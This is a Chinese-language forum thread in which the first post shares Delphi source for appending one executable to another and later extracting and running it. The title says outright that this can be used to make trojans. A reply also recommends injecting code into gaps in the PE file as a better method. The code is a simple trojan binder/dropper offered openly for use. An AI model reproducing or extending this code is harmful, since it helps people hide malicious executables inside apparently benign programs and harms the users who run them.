xingke 发表于 2007-10-25 17:50:09

向一个exe后面添加另一个exe(可以使木马哦~)

玩世不恭

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,inifiles,shellapi;

type
TForm1 = class(TForm)
    Button1: TButton;
    Button3: TButton;
    Button4: TButton;
    procedure Button2Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
private

public
    function Cjt_AddtoFile(SourceFile,TargetFile:string):Boolean;
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

function TForm1.Cjt_AddtoFile(SourceFile,TargetFile:string):Boolean;
var
Target,Source:TFileStream;
MyFileSize:integer;
begin
try
    Source:=TFileStream.Create(SourceFile,fmOpenReador fmShareExclusive);
    Target:=TFileStream.Create(TargetFile,fmOpenWrite or fmShareExclusive);
    TRY
      Target.Seek(0,soFromEnd);//往尾部添加资源
      Target.CopyFrom(Source,0);
      MyFileSize:=Source.Size+Sizeof(MyFileSize);//计算资源大小,并写入辅程尾部
      Target.WriteBuffer(MyFileSize,sizeof(MyFileSize));
    finally
      Target.Free;
      Source.Free;
    end;
except
    Result:=False;
    Exit;
end;
Result:=True;
end;

Function Cjt_LoadFromFile(SourceFile,TargetFile :string):Boolean;
var
Source:TFileStream;
Target:TMemoryStream;
MyFileSize:integer;
begin
try
    Target:=TMemoryStream.Create;
    Source:=TFileStream.Create(SourceFile,fmOpenRead or fmShareDenyNone);
    try
      Source.Seek(-sizeof(MyFileSize),soFromEnd);
      Source.ReadBuffer(MyFileSize,sizeof(MyFileSize));//读出资源大小
      Source.Seek(-MyFileSize,soFromEnd);//定位到资源位置
      Target.CopyFrom(Source,MyFileSize-sizeof(MyFileSize));//取出资源
      Target.SaveToFile(TargetFile);//存放到文件
    finally
      Target.Free;
      Source.Free;
    end;
except
    Result:=false;
    Exit;
end;
Result:=true;
end;



procedure TForm1.Button2Click(Sender: TObject);
begin
Cjt_AddtoFile('F:\8.exe','F:\31.exe');
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
Cjt_LoadFromFile('F:\ctk\31.exe','F:\ctk\ZXC.EXE');
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
// ShellExecute(handle, "open", path_to_folder, NULL, NULL, SW_SHOWNORMAL);
ShellExecute(handle, 'open', 'F:\CTK\zxc.exe', '', '', SW_SHOWNORMAL);
end;

end.

caterpilla 发表于 2007-10-25 18:01:59

一个问题,MyFileSize如何保留的?

独舞小枫 发表于 2007-10-29 20:38:17

用流这种方式不怎么样。体积比较大,不如往pe空隙里插代码。。

leaff 发表于 2007-11-5 14:56:12

呵呵谢谢了

xinxinit 发表于 2009-2-4 23:05:26

/:023 /:023 谢谢了

881 发表于 2009-12-19 15:18:41

:handshake 不错不错。

LCC 发表于 2014-6-25 10:36:34


用流这种方式不怎么样。体积比较大,不如往pe空隙里插代码。。

881966 发表于 2016-8-7 16:08:39

谢谢分享,虚心学习。
页: [1]
查看完整版本: 向一个exe后面添加另一个exe(可以使木马哦~)